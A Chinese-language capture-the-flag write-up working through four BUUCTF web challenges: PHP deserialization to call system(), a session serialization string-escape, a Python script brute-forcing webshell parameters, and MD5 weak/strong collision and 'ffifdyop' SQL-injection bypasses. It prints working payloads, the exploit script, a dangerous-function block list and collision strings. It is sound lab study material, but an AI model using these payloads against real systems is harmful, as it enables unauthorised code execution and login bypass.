CTF解题-BUUCTF_Web(比赛真题wp)

文章目录

  • 前言
  • 网鼎杯-PHP反序列化利用
  • 安洵杯-PHP反序列化溢出
  • 强网杯-Py脚本找Webshell
  • BJDCTF-MD5的弱/强碰撞

前言

BUUCTF (北京联合大学CTF)平台拥有大量免费的 CTF 比赛真题环境:

CTF解题-BUUCTF_Web(比赛真题wp)_第1张图片
此处记录下部分 Web 题目练习过程。

网鼎杯-PHP反序列化利用

1、创建并访问靶机:

CTF解题-BUUCTF_Web(比赛真题wp)_第2张图片

CTF解题-BUUCTF_Web(比赛真题wp)_第3张图片
2、页面不断地刷新,也没看到什么有用的提示和信息,抓包看一下:

CTF解题-BUUCTF_Web(比赛真题wp)_第4张图片
3、上面POST请求中,date 是php中一个获取时间的函数,而后面的p参数用于获取当地的时间。利用 func 和 p 的传参,可以执行我们想要的函数。于是试一下eval / assert /system,结果发现被禁了(提示为Hacker):

CTF解题-BUUCTF_Web(比赛真题wp)_第5张图片
4、换个思路,使用以下函数查看 index.php 源码:

func=file_get_contents&p=index.php    
func=highlight_file&p=index.php

这两个函数没有被禁,我们都可以得到源码:

CTF解题-BUUCTF_Web(比赛真题wp)_第6张图片
完整代码如下:


    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval",
    "proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array",
    "call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function",
    "filter_var", "filter_var_array", "uasort", "uksort","array_reduce","array_walk", "array_walk_recursive","pcntl_exec",
    "fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
     
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
     
            return $result;
        } else {
     return "";}
    }
    class Test {
     
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
     
            if ($this->func != "") {
     
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
     
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
     
            echo gettime($func, $p);
        }else {
     
            die("Hacker...");
        }
    }
?>

可以看到,基本上可以得到webshell的危险函数全被禁止了。

5、仔细阅读源码发现一个类 Test,里面有一个析构函数,可以执行我们想要的函数,依然是传参函数名+参数。并且没有过滤 func,联想到反序列化后会执行析构函数,那么我们可以构造一个序列化的字符串,传入我们想要执行的危险函数。于是构造payload:

func=unserialize&p=O:4:"Test":2:{
     s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

其EXP如下:


 class Test {
     
        var $p = "ls /";
        var $func = "system";
}
$a = new Test();
echo serialize($a);
//unserialize
?>

执行结果如下图所示:

CTF解题-BUUCTF_Web(比赛真题wp)_第7张图片

6、使用命令find / -name flag*查找flag的位置:

CTF解题-BUUCTF_Web(比赛真题wp)_第8张图片
7、执行命令cat /tmp/flagoefiu4r93读取flag:

CTF解题-BUUCTF_Web(比赛真题wp)_第9张图片

安洵杯-PHP反序列化溢出

1、创建并访问靶机:

CTF解题-BUUCTF_Web(比赛真题wp)_第10张图片在这里插入图片描述CTF解题-BUUCTF_Web(比赛真题wp)_第11张图片
2、完整的源码如下:

 

$function = @$_GET['f'];

function filter($img){
     
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
     
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
     
    echo 'source_code';
}

if(!$_GET['img_path']){
     
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
     
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
     
    highlight_file('index.php');
}else if($function == 'phpinfo'){
     
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
     
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

3、分析以上代码,提示参数 f=phpinfo 时会发现一些东西,于是我们让 f=phpinfo ,发现在 php.ini 里藏了一个文件 d0g3_f1ag.php:

CTF解题-BUUCTF_Web(比赛真题wp)_第12张图片
接访问 d0g3_f1ag.php 发现没有任何内容:

在这里插入图片描述

看样子我们要放办法去读取里面的内容,直至于怎么去读取呢,我们需要进一步分析。代码最后一行有一个file_get_contents是能够读取文件的函数,但读取是有前提的:

  • $function我们可以通过 $f 直接赋值,没什么问题;
  • 解题目标就是要让base64_decode($userinfo[‘img’])=d0g3_f1ag.php
  • 那么就要让$userinfo[‘img’]=ZDBnM19mMWFnLnBocA==
  • $userinfo又是通过$serialize_info反序列化来的,$serialize_info又是通过 $session 序列化之后再过滤得来的。
  • $session里面的 img 参数如果直接指定的话会被sha1哈希,到时候就不能被 base64 解密了。

如果我们没有传入img_path,那么后台将默认赋值为 guest_img.png 的base64编码。这样看来这个$userinfo['img']并不是我们可控的,此时需要把注意力转移到另外一个函数 serialize 上,这里有一个很明显的漏洞点,数据经过序列化了之后又经过了一层过滤函数,就是数组里提到的'php','flag','php5','php4','fl1g'都会被空格替代,而这层过滤函数会干扰序列化后的数据。

4、先来了解下 php反序列化字符逃逸

在php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,例如:


  $str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}';
  var_dump(unserialize($str));
?>

输出结果:

array(2) {
      
    [0]=> string(8) "Hed9eh0g" 
    [1]=> string(5) "aaaaa" 
}

一般我们会认为,只要增加或去除str的任何一个字符都会导致反序列化的失败。 但是事实并非如此,如果我们在str结尾的花括号后再增加一些字符呢?例如:

CTF解题-BUUCTF_Web(比赛真题wp)_第13张图片
仍然可以输出上面的结果,这说明反序列化的过程是有一定识别范围的,在这个范围之外的字符(第二个例子里的abc)都会被忽略,不影响反序列化的正常进行。

5、接下来看看下面的例子:


  $_SESSION["user"]='flagflagflagflagflagflag';
  $_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
  $_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
  echo serialize($_SESSION);
?>

结果为:

a:3:{
     s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

假设后台存在一个过滤机制,会将含flag字符替换为空,那么以上序列化字符串过滤结果为:

a:3:{
     s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

将这串字符串进行序列化会得到什么?

这个时候关注第二个s所对应的数字,本来由于有6个flag字符所以为24,现在这6个flag都被过滤了,那么它将会尝试向后读取24个字符看看是否满足序列化的规则,也即读取;s:8:"function";s:59:"a,读取这24个字符后以”;结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果为:

array(3) {
      
  ["user"]=> string(24) "";s:8:"function";s:59:"a" 
  ["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" 
  ["dd"]=> string(1) "a" 
}

写成数组形式也即:

$_SESSION["user"]='";s:8:"function";s:59:"a';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$_SESSION["dd"]='a';

可以发现,SESSION数组的键值img对应的值发生了改变。

设想,如果我们能够控制原来SESSION数组的 funcion 的值但无法控制 img 的值,我们就可以通过这种方式间接控制到 img 对应的值。这个感觉就像SQL 注入一样,他本来想读取的base64编码是: L2QwZzNfZmxsbGxsbGFn,但是由于过滤掉了flag,向后读取的过程中把键值 function 放到了第一个键值的内容里面,用ZDBnM19mMWFnLnBocA==代替了真正的base64编码,读取了 d0g3_f1ag.php 的内容。而识别完成后最后面的";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}被忽略掉了,不影响正常的反序列化过程。

6、回到题目,来看看最终的Payload:

GET:  f=show_image;
Post: _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

分析一下,指定了各个参数的值,正常的序列化过程为:


  $_SESSION["user"]='flagflagflagflagflagflag';
  $_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
  $_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
  $_SESSION["img"] = base64_encode('guest_img.png');
  echo serialize($_SESSION);
?>

由于过滤机制,那么序列化之后:

在这里插入图片描述
那么此时反序列之后就变成了:

在这里插入图片描述
来看看执行结果:

CTF解题-BUUCTF_Web(比赛真题wp)_第14张图片
提示在 d0g3_fllllllag 里,base_encode(/d0g3_fllllllag)=L2QwZzNfZmxsbGxsbGFn修改一下payload即可:

CTF解题-BUUCTF_Web(比赛真题wp)_第15张图片

强网杯-Py脚本找Webshell

1、创建并访问靶机:

CTF解题-BUUCTF_Web(比赛真题wp)_第16张图片CTF解题-BUUCTF_Web(比赛真题wp)_第17张图片

2、根据题目提示,访问并下载 www.tar.gz:

CTF解题-BUUCTF_Web(比赛真题wp)_第18张图片CTF解题-BUUCTF_Web(比赛真题wp)_第19张图片
打开压缩包,发现有3000多个php文件,尝试搜索flag文件,未果。于是打开php文件进行代码审计,发现代码中存在大量使用 system()/eval()/assert() 等函数执行 get 或 post 传递的参数,这意味我们也许可以通过传递参数的方式来执行任意命令。

CTF解题-BUUCTF_Web(比赛真题wp)_第20张图片

尝试直接在URL构造语句尝试传递参数,页面无法返回正确的输出结果。由于php文件过多和每个文件的参数过多,因此需要编写一个脚本来进行爆破,找出行之有效的参数。

3、此处附上大佬的 Python 自动化脚本:

# -*- coding: utf8 -*-
import os
import requests
import re
import time
import io
 
def read_file(path, command):  #遍历文件找出所有可用的参数
    with io.open(path,encoding="utf-8") as file:
        f = file.read()
    params = {
     }
    pattern = re.compile("(?<=\$_GET\[').*?(?='\])")  #match get
    for name in pattern.findall( f ):
        params[name] = command
 
    data = {
     }
    pattern = re.compile("(?<=\$_POST\[').*?(?='\])")  #match get
    for name in pattern.findall( f ):
        data[name] = command
    return params, data
 
def url_explosion(url, path, command):   #确定有效的php文件
    params, data = read_file(path,command)
    try:
        r = requests.session().post(url, data = data, params = params)
        if r.text.find("haha") != -1 :
            print(url,"\n")
            find_params(url, params, data)         
 
    except:
        print(url,"异常")
   
def find_params(url, params, data):   #确定最终的有效参数
    try:
        for pa in params.keys():
            temp = {
     pa:params[pa]}
            r = requests.session().post(url, params = temp)
            if r.text.find("haha") != -1 :
                print(pa)
                os.system("pause")
                
    except:
        print("error!\n")
    try:
        for da in data.items():
            temp = {
     da:data[da]}
            r = requests.session().post(url, data = temp)
            if r.text.find("haha") != -1 :
                print(da) 
                os.system("pause")
    except:
        print("error!\n")
 
 
rootdir = "C:\Users\True\Downloads\www\src"  #php文件存放地址
list = os.listdir(rootdir)
for i in range(0, len(list)):
    path = os.path.join(rootdir ,list[i])
    name = list[i].split('-2')[0]   #获取文件名
    url = "http://d0c4841b-992a-4800-8e44-2527f2e8a966.node3.buuoj.cn/" + name
    url_explosion(url,path,"echo haha")  

单线程的脚本,跑完大概花了10分钟……

CTF解题-BUUCTF_Web(比赛真题wp)_第21张图片
4、尝试进行利用,成功获得Flag:

在这里插入图片描述

BJDCTF-MD5的弱/强碰撞

1、看看题目链接:

CTF解题-BUUCTF_Web(比赛真题wp)_第22张图片CTF解题-BUUCTF_Web(比赛真题wp)_第23张图片
2、感觉是sql注入,但是注不出来,试着抓包发现提示 hint:

CTF解题-BUUCTF_Web(比赛真题wp)_第24张图片
好了,sql注入石锤,还找到了 Hint:

 select * from 'admin' where password=md5($pass,true)

重点看下 md5($pass,true) 这个函数:
CTF解题-BUUCTF_Web(比赛真题wp)_第25张图片

就是说我们输入$pass时,首先会被md5加密,然后会被转换成16字符的二进制格式。百度后发现这个可以用ffifdyop绕过,绕过原理是:ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,而 Mysql 刚好又会把 hex 转成 ASCII 解释,这个字符串前几位刚好是' or '6,因此拼接之后的形式是select * from 'admin' where password='' or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码,可以绕过 md5() 函数。

3、提交 ffifdyop 进行查询,跳转下一页面:

CTF解题-BUUCTF_Web(比赛真题wp)_第26张图片
查看源码:

CTF解题-BUUCTF_Web(比赛真题wp)_第27张图片

典型的 md5 碰撞嘛,这个是弱比较,所以可以用md5值为0e开头的来撞。

【MD5弱碰撞】 PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。

这里提供一些 md5 以后是 0e 开头的值:

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

4、于是构造http://37d8016d-643c-4764-8e62-c8a24e224a75.node3.buuoj.cn/levels91.php?a=QNKCDZO&b=s878926199a即可绕过并跳转到新的页面:

CTF解题-BUUCTF_Web(比赛真题wp)_第28张图片
这里可以用两个方法解决:

(1)可以利用数组:md5强比较,此时如果传入的两个参数不是字符串,而是数组,md5()函数无法解出其数值,而且不会报错,就会得到===强比较的值相等。故构造:param1[]=111¶m2[]=222即可。

【解析】md5() 或者 sha1() 之类的哈希函数计算的是一个字符串的哈希值,对于数组则返回 false,如果$param1$param2都是数组则双双返回 FALSE, 两个 FALSE 相等故得以绕过。

(2)利用 md5 值的强碰撞:找到两个md5值相同的字符串即可。

d131dd02c5e6eec4693d9a0698aff95c
2fcab58712467eab4004583eb8fb7f89
55ad340609f4b30283e488832571415a
085125e8f7cdc99fd91dbdf280373c5b
d8823e3156348f5bae6dacd436c919c6
dd53e2b487da03fd02396306d248cda0
e99f33420f577ee8ce54b67080a80d1e
c69821bcb6a8839396f9652b6ff72a70

d131dd02c5e6eec4693d9a0698aff95c
2fcab50712467eab4004583eb8fb7f89
55ad340609f4b30283e4888325f1415a
085125e8f7cdc99fd91dbd7280373c5b
d8823e3156348f5bae6dacd436c919c6
dd53e23487da03fd02396306d248cda0
e99f33420f577ee8ce54b67080280d1e
c69821bcb6a8839396f965ab6ff72a70

两段数据的MD5均为:
79054025255fb1a26e4bc422aef54eb4

这里采用第一个方法获得Flag:

CTF解题-BUUCTF_Web(比赛真题wp)_第29张图片
【补充】如果说后台的判断语句如下,则只能用第二种方法进行绕过:

在这里插入图片描述

你可能感兴趣的:(CTF解题)